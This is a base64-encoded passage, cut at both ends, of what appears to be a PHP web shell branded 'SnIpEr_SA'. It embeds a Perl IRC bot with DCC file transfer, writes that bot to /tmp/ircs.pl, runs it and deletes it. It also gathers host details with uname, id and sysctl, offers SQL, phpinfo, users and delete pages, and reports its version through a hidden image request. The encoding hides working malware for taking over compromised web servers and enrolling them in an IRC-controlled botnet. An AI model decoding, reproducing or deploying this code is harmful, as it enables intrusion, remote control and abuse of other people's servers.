QoNCiAgICAgaWYgKFwkZGNjdGlwbyBlcSBcImdldFwiKSB7DQogICAgICAgIFwkRENDe1wkZmh9e2N1cmJ
5dGV9ICs9IGxlbmd0aChcJG1zZyk7DQoNCiAgICAgICAgbXkgXCRjdXJfYnl0ZSA9IFwkRENDe1wkZmh9e 2N1cmJ5dGV9Ow0KDQogICAgICAgIG9wZW4oRklMRSwgXCI+PiBcJGFycXVpdm9cIik7DQogICAgICAgIHB yaW50IEZJTEUgXCJcJG1zZ1wiIGlmIChcJGN1cl9ieXRlIDw9IFwkYnl0ZXMpOw0KICAgICAgICBjbG9zZ ShGSUxFKTsNCg0KICAgICAgICBteSBcJHBhY2tieXRlID0gcGFjayhcIk5cIiwgXCRjdXJfYnl0ZSk7DQo gICAgICAgIHByaW50IFwkZmggXCJcJHBhY2tieXRlXCI7DQoNCg0KICAgICAgICBpZiAoXCRieXRlcyA9P SBcJGN1cl9ieXRlKSB7DQogICAgICAgICAgIFwkZGNjX3NlbC0+cmVtb3ZlKFwkZmgpOw0KICAgICAgICA gICBcJGZoLT5jbG9zZTsNCiAgICAgICAgICAgXCREQ0N7XCRmaH17c3RhdHVzfSA9IFwiUmVjZWJpZG9cI jsNCiAgICAgICAgICAgXCREQ0N7XCRmaH17ZnRpbWV9ID0gdGltZTsNCiAgICAgICAgICAgbmV4dDsNCiA gICAgICAgfQ0KICAgICB9IGVsc2lmIChcJGRjY3RpcG8gZXEgXCJzZW5kXCIpIHsNCiAgICAgICAgICBte SBcJHNlbmQgPSBcJGZoLT5hY2NlcHQ7DQogICAgICAgICAgXCRzZW5kLT5hdXRvZmx1c2goMSk7DQogICA gICAgICAgXCRkY2Nfc2VsLT5hZGQoXCRzZW5kKTsNCiAgICAgICAgICBcJGRjY19zZWwtPnJlbW92ZShcJ GZoKTsNCiAgICAgICAgICBcJERDQ3tcJHNlbmR9e3RpcG99ID0gJ3NlbmRjb24nOw0KICAgICAgICAgIFw kRENDe1wkc2VuZH17aXRpbWV9ID0gdGltZTsNCiAgICAgICAgICBcJERDQ3tcJHNlbmR9e25pY2t9ID0gX CRuaWNrOw0KICAgICAgICAgIFwkRENDe1wkc2VuZH17Ynl0ZXN9ID0gXCRieXRlczsNCiAgICAgICAgICB cJERDQ3tcJHNlbmR9e2N1cmJ5dGV9ID0gMDsNCiAgICAgICAgICBcJERDQ3tcJHNlbmR9e2FycXVpdm99I D0gXCRhcnF1aXZvOw0KICAgICAgICAgIFwkRENDe1wkc2VuZH17aXB9ID0gXCRzZW5kLT5wZWVyaG9zdDs NCiAgICAgICAgICBcJERDQ3tcJHNlbmR9e3BvcnRhfSA9IFwkc2VuZC0+cGVlcnBvcnQ7DQogICAgICAgI CAgXCREQ0N7XCRzZW5kfXtzdGF0dXN9ID0gXCJFbnZpYW5kb1wiOw0KICAgICAgICAgICNkZSBjYXJhIG1 hbmRhIG9zIHByaW1laXJvIDEwMjQgYnl0ZXMgZG8gYXJraXZvLi4gbyByZXN0byBmaWsgY29tIG8gc2VuZ GNvbg0KICAgICAgICAgIG9wZW4oRklMRSwgXCI8IFwkYXJxdWl2b1wiKTsNCiAgICAgICAgICBteSBcJGZ ieXRlczsNCiAgICAgICAgICByZWFkKEZJTEUsIFwkZmJ5dGVzLCAxMDI0KTsNCiAgICAgICAgICBwcmlud CBcJHNlbmQgXCJcJGZieXRlc1wiOw0KICAgICAgICAgIGNsb3NlIEZJTEU7DQojIGRlbGV0ZShcJERDQ3t cJGZofSk7DQp9IGVsc2lmIChcJGRjY3RpcG8gZXEgJ3NlbmRjb24nKSB7DQogICAgICAgICAgbXkgXCRie XRlc19zZW5kZWQgPSB1bnBhY2soXCJOXCIsIFwkbXNnKTsNCiAgICAgICAgICBcJERDQ3tcJGZofXtjdXJ ieXRlfSA9IFwkYnl0ZXNfc2VuZGVkOw0KICAgICAgICAgIGlmIChcJGJ5dGVzX3NlbmRlZCA9PSBcJGJ5d GVzKSB7DQogICAgICAgICAgICAgXCRmaC0+Y2xvc2U7DQogICAgICAgICAgICAgXCRkY2Nfc2VsLT5yZW1 vdmUoXCRmaCk7DQogICAgICAgICAgICAgXCREQ0N7XCRmaH17c3RhdHVzfSA9IFwiRW52aWFkb1wiOw0KI CAgICAgICAgICAgIFwkRENDe1wkZmh9e2Z0aW1lfSA9IHRpbWU7DQogICAgICAgICAgICAgbmV4dDsNCiA gICAgICAgICB9DQogICAgICAgICAgb3BlbihTRU5ERklMRSwgXCI8IFwkYXJxdWl2b1wiKTsNCiAgICAgI CAgICBzZWVrKFNFTkRGSUxFLCBcJGJ5dGVzX3NlbmRlZCwgMCk7DQogICAgICAgICAgbXkgXCRzZW5kX2J 5dGVzOw0KICAgICAgICAgIHJlYWQoU0VOREZJTEUsIFwkc2VuZF9ieXRlcywgMTAyNCk7DQogICAgICAgI CAgcHJpbnQgXCRmaCBcIlwkc2VuZF9ieXRlc1wiOw0KICAgICAgICAgIGNsb3NlKFNFTkRGSUxFKTsNCiA gICAgfQ0KICAgfQ0KfQ0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0Kc3ViIFNFTkQgew0KICBte SAoXCRuaWNrLCBcJGFycXVpdm8pID0gQF87DQogIHVubGVzcyAoLXIgXCJcJGFycXVpdm9cIikgew0KICA gIHJldHVybigwKTsNCiAgfQ0KDQogIG15IFwkZGNjYXJrID0gXCRhcnF1aXZvOw0KICBcJGRjY2FyayA9f iBzL1suKlwvXShcUyspLyQxLzsNCg0KICBteSBcJG1ldWlwID0gJDo6aXJjX3NlcnZlcnN7XCIkOjpJUkN fY3VyX3NvY2tldFwifXsnbWV1aXAnfTsNCiAgbXkgXCRsb25naXAgPSB1bnBhY2soXCJOXCIsaW5ldF9hd G9uKFwkbWV1aXApKTsNCg0KICBteSBAZmlsZXN0YXQgPSBzdGF0KFwkYXJxdWl2byk7DQogIG15IFwkc2l 6ZV90b3RhbD1cJGZpbGVzdGF0WzddOw0KICBpZiAoXCRzaXplX3RvdGFsID09IDApIHsNCiAgICAgcmV0d XJuKDApOw0KICB9DQoNCiAgbXkgKFwkcG9ydGEsIFwkc2VuZHNvY2spOw0KICBkbyB7DQogICAgXCRwb3J 0YSA9IGludCByYW5kKDY0NTExKTsNCiAgICBcJHBvcnRhICs9IDEwMjQ7DQogICAgXCRzZW5kc29jayA9I ElPOjpTb2NrZXQ6OklORVQtPm5ldyhMaXN0ZW49PjEsIExvY2FsUG9ydCA9PlwkcG9ydGEsIFByb3RvID0 +ICd0Y3AnKSBhbmQgXCRkY2Nfc2VsLT5hZGQoXCRzZW5kc29jayk7DQogIH0gdW50aWwgXCRzZW5kc29ja zsNCg0KICBcJERDQ3tcJHNlbmRzb2NrfXt0aXBvfSA9ICdzZW5kJzsNCiAgXCREQ0N7XCRzZW5kc29ja31 7bmlja30gPSBcJG5pY2s7DQogIFwkRENDe1wkc2VuZHNvY2t9e2J5dGVzfSA9IFwkc2l6ZV90b3RhbDsNC iAgXCREQ0N7XCRzZW5kc29ja317YXJxdWl2b30gPSBcJGFycXVpdm87DQoNCiAgJjo6Y3RjcChcIlwkbml ja1wiLCBcIkRDQyBTRU5EIFwkZGNjYXJrIFwkbG9uZ2lwIFwkcG9ydGEgXCRzaXplX3RvdGFsXCIpOw0KD Qp9DQoNCnN1YiBHRVQgew0KICBteSAoXCRhcnF1aXZvLCBcJGRjY2xvbmdpcCwgXCRkY2Nwb3J0YSwgXCR ieXRlcywgXCRuaWNrKSA9IEBfOw0KICByZXR1cm4oMCkgaWYgKC1lIFwiXCRhcnF1aXZvXCIpOw0KICBpZ iAob3BlbihGSUxFLCBcIj4gXCRhcnF1aXZvXCIpKSB7DQogICAgIGNsb3NlIEZJTEU7DQogIH0gZWxzZSB 7DQogICAgcmV0dXJuKDApOw0KICB9DQoNCiAgbXkgXCRkY2NpcD1maXhhZGRyKFwkZGNjbG9uZ2lwKTsNC iAgcmV0dXJuKDApIGlmIChcJGRjY3BvcnRhIDwgMTAyNCBvciBub3QgZGVmaW5lZCBcJGRjY2lwIG9yIFw kYnl0ZXMgPCAxKTsNCiAgbXkgXCRkY2Nzb2NrID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFByb3RvPT5cI nRjcFwiLCBQZWVyQWRkcj0+XCRkY2NpcCwgUGVlclBvcnQ9PlwkZGNjcG9ydGEsIFRpbWVvdXQ9PjE1KSB vciByZXR1cm4gKDApOw0KICBcJGRjY3NvY2stPmF1dG9mbHVzaCgxKTsNCiAgXCRkY2Nfc2VsLT5hZGQoX CRkY2Nzb2NrKTsNCiAgXCREQ0N7XCRkY2Nzb2NrfXt0aXBvfSA9ICdnZXQnOw0KICBcJERDQ3tcJGRjY3N vY2t9e2l0aW1lfSA9IHRpbWU7DQogIFwkRENDe1wkZGNjc29ja317bmlja30gPSBcJG5pY2s7DQogIFwkR ENDe1wkZGNjc29ja317Ynl0ZXN9ID0gXCRieXRlczsNCiAgXCREQ0N7XCRkY2Nzb2NrfXtjdXJieXRlfSA
9IDA7DQogIFwkRENDe1wkZGNjc29ja317YXJxdWl2b30gPSBcJGFycXVpdm87DQogIFwkRENDe1wkZGNjc 29ja317aXB9ID0gXCRkY2NpcDsNCiAgXCREQ0N7XCRkY2Nzb2NrfXtwb3J0YX0gPSBcJGRjY3BvcnRhOw0 KICBcJERDQ3tcJGRjY3NvY2t9e3N0YXR1c30gPSBcIlJlY2ViZW5kb1wiOw0KfQ0KIyMjIyMjIyMjIyMjI yMjIyMjIyMjIyMjIyMjIw0KIyBwbyBmaWNvIHhhdG8gZGUgb3JnYW5pemEgbyBzdGF0dXMuLiBkYWkgZml 6IGVsZSByZXRvcm5hIG8gc3RhdHVzIGRlIGFjb3JkbyBjb20gbyBzb2NrZXQuLiBkYWkgbyBBRE0ucGwgb GlzdGEgb3Mgc29ja2V0cyBlIGZheiBhcyBwZXJndW50YXMNCnN1YiBTdGF0dXMgew0KICBteSBcJHNvY2t ldCA9IHNoaWZ0Ow0KICBteSBcJHNvY2tfdGlwbyA9IFwkRENDe1wkc29ja2V0fXt0aXBvfTsNCiAgdW5sZ XNzIChsYyhcJHNvY2tfdGlwbykgZXEgXCJjaGF0XCIpIHsNCiAgICBteSBcJG5pY2sgPSBcJERDQ3tcJHN vY2tldH17bmlja307DQogICAgbXkgXCRhcnF1aXZvID0gXCREQ0N7XCRzb2NrZXR9e2FycXVpdm99Ow0KI CAgIG15IFwkaXRpbWUgPSBcJERDQ3tcJHNvY2tldH17aXRpbWV9Ow0KICAgIG15IFwkZnRpbWUgPSB0aW1 lOw0KICAgIG15IFwkc3RhdHVzID0gXCREQ0N7XCRzb2NrZXR9e3N0YXR1c307DQogICAgXCRmdGltZSA9I FwkRENDe1wkc29ja2V0fXtmdGltZX0gaWYgZGVmaW5lZChcJERDQ3tcJHNvY2tldH17ZnRpbWV9KTsNCg0 KICAgIG15IFwkZF90aW1lID0gXCRmdGltZS1cJGl0aW1lOw0KDQogICAgbXkgXCRjdXJfYnl0ZSA9IFwkR ENDe1wkc29ja2V0fXtjdXJieXRlfTsNCiAgICBteSBcJGJ5dGVzX3RvdGFsID0gXCREQ0N7XCRzb2NrZXR 9e2J5dGVzfTsNCg0KICAgIG15IFwkcmF0ZSA9IDA7DQogICAgXCRyYXRlID0gKFwkY3VyX2J5dGUvMTAyN CkvXCRkX3RpbWUgaWYgXCRjdXJfYnl0ZSA+IDA7DQogICAgbXkgXCRwb3JjZW4gPSAoXCRjdXJfYnl0ZSo xMDApL1wkYnl0ZXNfdG90YWw7DQoNCiAgICBteSAoXCRyX2R1diwgXCRwX2R1dik7DQogICAgaWYgKFwkc mF0ZSA9fiAvXihcZCspXC4oXGQpKFxkKShcZCkvKSB7DQogICAgICAgXCRyX2R1diA9ICQzOyBcJHJfZHV 2KysgaWYgJDQgPj0gNTsNCiAgICAgICBcJHJhdGUgPSBcIiQxXC4kMlwiLlwiXCRyX2R1dlwiOw0KICAgI H0NCiAgICBpZiAoXCRwb3JjZW4gPX4gL14oXGQrKVwuKFxkKShcZCkoXGQpLykgew0KICAgICAgIFwkcF9 kdXYgPSAkMzsgXCRwX2R1disrIGlmICQ0ID49IDU7DQogICAgICAgXCRwb3JjZW4gPSBcIiQxXC4kMlwiL lwiXCRwX2R1dlwiOw0KICAgIH0NCiAgICByZXR1cm4oXCJcJHNvY2tfdGlwb1wiLFwiXCRzdGF0dXNcIix cIlwkbmlja1wiLFwiXCRhcnF1aXZvXCIsXCJcJGJ5dGVzX3RvdGFsXCIsIFwiXCRjdXJfYnl0ZVwiLFwiX CRkX3RpbWVcIiwgXCJcJHJhdGVcIiwgXCJcJHBvcmNlblwiKTsNCiAgfQ0KDQogIHJldHVybigwKTsNCn0 NCg0KIyBlc3NlICdzdWIgZml4YWRkcicgZGFraSBmb2kgcGVnbyBkbyBORVQ6OklSQzo6RENDIGlkZW50a WNvIHNvaCBjb3BpZWkgZSBjb2xvZWkgKGNvbG9rYXIgbm9tZSBkbyBhdXRvcikNCnN1YiBmaXhhZGRyIHs NCiAgICBteSAoXCRhZGRyZXNzKSA9IEBfOw0KDQogICAgY2hvbXAgXCRhZGRyZXNzOyAjIGp1c3QgaW4gY 2FzZSwgc2lnaC4NCiAgICBpZiAoXCRhZGRyZXNzID1+IC9eXGQrJC8pIHsNCiAgICAgICAgcmV0dXJuIGl uZXRfbnRvYShwYWNrIFwiTlwiLCBcJGFkZHJlc3MpOw0KICAgIH0gZWxzaWYgKFwkYWRkcmVzcyA9fiAvX lsxMl0/XGR7MSwyfVwuWzEyXT9cZHsxLDJ9XC5bMTJdP1xkezEsMn1cLlsxMl0/XGR7MSwyfSQvKSB7DQo gICAgICAgIHJldHVybiBcJGFkZHJlc3M7DQogICAgfSBlbHNpZiAoXCRhZGRyZXNzID1+IHRyL2EtekEtW i8vKSB7ICMgV2hlZSEgT2JmdXNjYXRpb24hDQogICAgICAgIHJldHVybiBpbmV0X250b2EoKChnZXRob3N 0YnluYW1lKFwkYWRkcmVzcykpWzRdKVswXSk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuOw0KI CAgIH0NCn0NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiI7DQokYm90ID0gIi90bXAvaXJjcy5 wbCI7DQokb3BlbiA9IGZvcGVuKCRib3QsInciKTsNCmZwdXRzKCRvcGVuLCRmaWxlKTsNCmZjbG9zZSgkb 3Blbik7DQokY21kPSJwZXJsICRib3QiOw0KJGNtZDI9InJtICRib3QiOw0Kc3lzdGVtKCRjbWQpOw0Kc3l zdGVtKCRjbWQyKTsNCiRfUE9TVFsnY21kJ109ImVjaG8gXCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvI GlyY3NlcnZlciAuLi5cIiI7DQoNCn0NCg0KaWYoJHVuaXgpDQogew0KIGlmKCFpc3NldCgkX0NPT0tJRVs ndW5hbWUnXSkpIHsgJHVuYW1lID0gZXgoJ3VuYW1lIC1hJyk7IHNldGNvb2tpZSgndW5hbWUnLCR1bmFtZ Sk7IH0gZWxzZSB7ICR1bmFtZSA9ICRfQ09PS0lFWyd1bmFtZSddOyB9DQogaWYoIWlzc2V0KCRfQ09PS0l FWydpZCddKSkgeyAkaWQgPSBleCgnaWQnKTsgc2V0Y29va2llKCdpZCcsJGlkKTsgfSBlbHNlIHsgJGlkI D0gJF9DT09LSUVbJ2lkJ107IH0NCiBpZigkc2FmZV9tb2RlKSB7ICRzeXNjdGwgPSAnLSc7IH0NCiBlbHN lIGlmKGlzc2V0KCRfQ09PS0lFWydzeXNjdGwnXSkpIHsgJHN5c2N0bCA9ICRfQ09PS0lFWydzeXNjdGwnX TsgfQ0KIGVsc2UNCiAgew0KICAgJHN5c2N0bCA9IGV4KCdzeXNjdGwgLW4ga2Vybi5vc3R5cGUgJiYgc3l zY3RsIC1uIGtlcm4ub3NyZWxlYXNlJyk7DQogICBpZihlbXB0eSgkc3lzY3RsKSkgeyAkc3lzY3RsID0gZ XgoJ3N5c2N0bCAtbiBrZXJuZWwub3N0eXBlICYmIHN5c2N0bCAtbiBrZXJuZWwub3NyZWxlYXNlJyk7IH0 NCiAgIGlmKGVtcHR5KCRzeXNjdGwpKSB7ICRzeXNjdGwgPSAnLSc7IH0NCiAgIHNldGNvb2tpZSgnc3lzY 3RsJywkc3lzY3RsKTsNCiAgfQ0KIH0NCmVjaG8gJGhlYWQ7DQplY2hvICc8L2hlYWQ+JzsNCmlmKGVtcHR 5KCRfUE9TVFsnY21kJ10pKSB7DQokc2VydiA9IGFycmF5KDEyNywxOTIsMTcyLDEwKTsNCiRhZGRyPUBle HBsb2RlKCcuJywgJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10pOw0KJGN1cnJlbnRfdmVyc2lvbiA9IHN0cl9 yZXBsYWNlKCcuJywnJywkdmVyc2lvbik7DQppZiAoIWluX2FycmF5KCRhZGRyWzBdLCAkc2VydikpIHsNC kBwcmludCAiPGltZyBzcmM9XCJodHRwOi8vMTI3LjAuMC4xL3ZlcnNpb24ucGhwP2ltZz0xJnZlcnNpb24 9Ii4kY3VycmVudF92ZXJzaW9uLiJcIiBib3JkZXI9MCBoZWlnaHQ9MCB3aWR0aD0wPiI7DQpAcmVhZGZpb GUgKCJodHRwOi8vMTI3LjAuMC4xL3ZlcnNpb24ucGhwP3ZlcnNpb249Ii4kY3VycmVudF92ZXJzaW9uLiI iKTt9fQ0KZWNobyAnPGJvZHk+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZ z0wIGJnY29sb3I9I0NDQ0NDQz48dHI+PHRkIGJnY29sb3I9IzAwMDAwMCB3aWR0aD0xNjA+PGZvbnQgZmF jZT1Db21pYyBTYW5zIE1TIHNpemU9ND4nLndzKDIpLic8RElWIGRpcj1sdHIgYWxpZ249Y2VudGVyPjxmb 250IGZhY2U9V2luZ2RpbmdzIHNpemU9Mz48Yj5OPC9iPjwvZm9udD48Yj4nLndzKDIpLic8RElWIGRpcj1
sdHIgYWxpZ249Y2VudGVyPjxTUEFODQpzdHlsZT0iRklMVEVSOiBibHVyKGFkZD0xLGRpcmVjdGlvbj0xM CxzdHJlbmd0aD0yNSk7IEhFSUdIVDogMjVweCI+DQo8U1BBTg0Kc3R5bGU9IkZPTlQtU0laRTogMTVwdDs gQ09MT1I6IHdoaXRlOyBGT05ULUZBTUlMWTogSW1wYWN0Ij5TbklwRXJfU0E8L1A+PC9TUEFOPjwvRElWP jwvZm9udD48L2I+PC9mb250PjwvdGQ+PHRkIGJnY29sb3I9IzAwMDAwMD48Zm9udCBmYWNlPXRhaG9tYSB zaXplPTE+JzsNCmVjaG8gd3MoMikuIjxiPiIuZGF0ZSAoImQtbS1ZIEg6aTpzIikuIjwvYj4iOw0K ZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8gdGl0bGU9XCIiLi RsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NiddLiJcIj48Yj7H4dHG7dPt5TwvYj48L2E+ICIuJHJiOw0KZWNo byB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9zcWxtYW4gdGl0bGU9XC IiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NiddLiJcIj48Yj5TUUw8L2I+PC9hPiAiLiRyYjsNCmVjaG8g d3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/cGhwaW5mbyB0aXRsZT1cIi IuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ2J10uIlwiPjxiPnBocGluZm88L2I+PC9hPiAiLiRyYjsNCmVj aG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/cGhwaW5pIHRpdGxlPV wiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDcnXS4iXCI+PGI+cGhwLmluaTwvYj48L2E+ICIuJHJiOw0K aWYoJHVuaXgpDQogew0KIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRi ddLiI/Y3B1IHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTAnXS4iXCI+PGI+Y3B1PC9iPjwv YT4gIi4kcmI7DQogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj 9tZW0gdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1MSddLiJcIj48Yj5tZW08L2I+PC9hPiAi LiRyYjsNCiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3VzZX JzIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTUnXS4iXCI+PGI+dXNlcnM8L2I+PC9hPiAi LiRyYjsNCiB9DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3 RtcCB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ4J10uIlwiPjxiPnRtcDwvYj48L2E+ICIu JHJiOw0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9kZWxldG UgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0OSddLiJcIj48Yj5kZWxldGU8L2I+PC9hPiAi LiRyYi4iPGJyPiI7DQplY2hvIHdzKDIpLiLH4ebW2iDH4cfj5DogPGI+IjsNCmVjaG8gKCgkc2FmZV9tb2 RlKT8oIjxmb250IGNvbG9yPSMwMDgwMDA+3drH4TwvZm9udD4iKTooIjxmb250IGNvbG9yPXJlZD7b7dEg 3drH4TwvZm9udD4iKSk7DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIsfVz8fRIMfhyO0gx8rUIMjtOi A8Yj4iLkBwaHB2ZXJzaW9uKCkuIjwvYj4iOw0KJGN1cmxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdjdXJs X3ZlcnNpb24nKTsNCmVjaG8gd3MoMik7DQplY2hvICLH4d/t0eE6IDxiPiIuKCgkY3VybF9vbik/KCI8Zm 9udCBjb2xvcj0jMDA4MDAwPt3ax+E8L2ZvbnQ+Iik6KCI8Zm9udCBjb2xvcj1yZWQ+2+3RIN3ax+E8L2Zv bnQ+IikpOw0KZWNobyAiPC9iPiIud3MoMik7DQplY2hvICLjx+0g09/hOiA8Yj4iOw0KJG15c3FsX29uID 0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOw0KaWYoJG15c3FsX29uKXsNCmVjaG8gIjxm b250IGNvbG9yPSMwMDgwMDA+3drH4TwvZm9udD4iOyB9IGVsc2UgeyBlY2hvICI8Zm9udCBjb2xvcj1yZW Q+2+3RIN3ax+E8L2ZvbnQ+IjsgfQ0KZWNobyAiPC9iPiIud3MoMik7DQplY2hvICLH4yDH0yDT3+E6IDxi PiI7DQokbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7DQppZigkbXNzcW xfb24pe2VjaG8gIjxmb250IGNvbG9yPSMwMDgwMDA+3drH4TwvZm9udD4iO31lbHNle2VjaG8gIjxmb250 IGNvbG9yPXJlZD7b7dEg3drH4TwvZm9udD4iO30NCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiyObTyi De0e0g09/hOiA8Yj4iOw0KJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOw0KaWYo JHBnX29uKXtlY2hvICI8Zm9udCBjb2xvcj0jMDA4MDAwPt3ax+E8L2ZvbnQ+Ijt9ZWxzZXtlY2hvICI8Zm 9udCBjb2xvcj1yZWQ+2+3RIN3ax+E8L2ZvbnQ+Ijt9DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIsfm 0cff4TogPGI+IjsNCiRvcmFfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOw0KaWYoJG9yYV 9vbil7ZWNobyAiPGZvbnQgY29sb3I9IzAwODAwMD7d2sfhPC9mb250PiI7fWVsc2V7ZWNobyAiPGZvbnQg Y29sb3I9cmVkPuPb4d48L2ZvbnQ+Ijt9DQplY2hvICI8L2I+PGJyPiIud3MoMik7DQplY2hvICLH4c/mx+ Egx+Hj4+Tm2skgOiA8Yj4iOw0KaWYoJyc9PSgkZGY9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykp KXtlY2hvICI8Zm9udCBjb2xvcj0jMDA4MDBGPuHH7ebMzzwvZm9udD48L2I+Ijt9ZWxzZXtlY2hvICI8Zm 9udCBjb2xvcj1yZWQ+JGRmPC9mb250PjwvYj4iO30NCiRmcmVlID0gQGRpc2tmcmVlc3BhY2UoJGRpcik7 DQppZiAoISRmcmVlKSB7JGZyZWUgPSAwO30NCiRhbGwgPSBAZGlza190b3RhbF9zcGFjZSgkZGlyKTsNCm lmICghJGFsbCkgeyRhbGwgPSAwO30NCmVjaG8gIjxicj4iLndzKDIpLiLH4ePTx83JIMfhzsfh7eUgOiA8 Yj4iLnZpZXdfc2l6ZSgkZnJlZSkuIjwvYj4gx+Hj08fNySDH4d/h7ck6IDxiPiIudmlld19zaXplKCRhbG wpLiI8L2I+IjsNCmVjaG8gIjwvYj48YnI+Ii53cygyKTsNCmVjaG8gIlJlZ2lzdGVyIGdsb2JhbHM6IDxi PiI7DQokcmVnX2cgPSBAaW5pX2dldCgicmVnaXN0ZXJfZ2xvYmFscyIpOw0KaWYoJHJlZ19nKXsNCmVjaG 8gIjxmb250IGNvbG9yPSMwMDgwMDA+3drH4TwvZm9udD4iOyB9IGVsc2UgeyBlY2hvICI8Zm9udCBjb2xv cj1yZWQ+2+3RIN3ax+E8L2ZvbnQ+IjsgfQ0KZWNobyAiPC9iPiIud3MoMik7DQplY2hvICJvcGVuX2Jhc2 VkaXI6IDxiPiI7DQokb3BlbmJhc2VkaSA9IEBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsNCmlmKCRvcGVu YmFzZWRpKXsNCmVjaG8gIjxmb250IGNvbG9yPXJlZD7d2sfhPC9mb250PiI7IH0gZWxzZSB7IGVjaG8gIj xmb250IGNvbG9yPSMwMDgwMDA+2+3RIN3ax+E8L2ZvbnQ+IjsgfQ0KZWNobyAiPC9iPiIud3MoMik7DQpl Y2hvICc8L2ZvbnQ+PC90ZD48L3RyPjx0YWJsZT4NCjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPT AgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSNjY2NjY2M+DQo8dHI+PHRkIGFsaWduPXJpZ2h0IHdpZHRoPTEw MD4nOw0KZWNobyAkZm9udDsNCmlmKCR1bml4KXsNCmVjaG8gJzxmb250IGNvbG9yPSM5OTAwMDA+PGI+dW
5hbWUgLWEgOicud3MoMSkuJzxicj5zeXNjdGwgOicud3MoMSkuJzxicj4kT1NUWVBFIDonLndzKDEpLic8 YnI+U2VydmVyIDonLndzKDEpLic8YnI+aWQgOicud3MoMSkuJzxicj5wd2QgOicud3MoMSkuJzxicj5pcC A6Jy53cygxKS4nPC9iPjwvZm9udD48YnI+JzsNCmVjaG8gIjwvdGQ+PHRkPiI7DQplY2hvICI8Zm9udCBm YWNlPXRhaG9tYSBzaXplPS0yIGNvbG9yPSNjY2NjY2M+PGI+IjsNCmVjaG8oKCFlbXB0eSgkdW5hbWUpKT 8od3MoMykuQHN1YnN0cigkdW5hbWUsMCwxMjApLiI8YnI+Iik6KHdzKDMpLkBzdWJzdHIoQHBocF91bmFt ZSgpLDAsMTIwKS4iPGJyPiIpKTsNCmVjaG8gd3MoMykuJHN5c2N0bC4iPGJyPiI7DQplY2hvIHdzKDMpLm V4KCdlY2hvICRPU1RZUEUnKS4iPGJyPiI7DQplY2hvIHdzKDMpLkBzdWJzdHIoJFNFUlZFUl9TT0ZUV0FS RSwwLDEyMCkuIjxicj4iOw0KaWYoIWVtcHR5KCRpZCkpIHsgZWNobyB3cygzKS4kaWQuIjxicj4iOyB9DQ plbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZXVpZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygn cG9zaXhfZ2V0ZWdpZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSAmJiBmdW5jdG lvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpDQogew0KICRldXNlcmluZm8gID0gQHBvc2l4X2dldHB3 dWlkKEBwb3NpeF9nZXRldWlkKCkpOw0KICRlZ3JvdXBpbmZvID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF 9nZXRlZ2lkKCkpOw0KIGVjaG8gd3MoMykuJ3VpZD0nLiRldXNlcmluZm9bJ3VpZCddLicgKCAnLiRldXNl cmluZm9bJ25hbWUnXS4nICkgZ2lkPScuJGVncm91cGluZm9bJ2dpZCddLicgKCAnLiRlZ3JvdXBpbmZvWy duYW1lJ10uJyApPGJyPic7DQogfQ0KZWxzZSBlY2hvIHdzKDMpLiJ1c2VyPSIuQGdldF9jdXJyZW50X3Vz ZXIoKS4iIHVpZD0iLkBnZXRteXVpZCgpLiIgZ2lkPSIuQGdldG15Z2lkKCkuIjxicj4iOw0KZWNobyB3cy 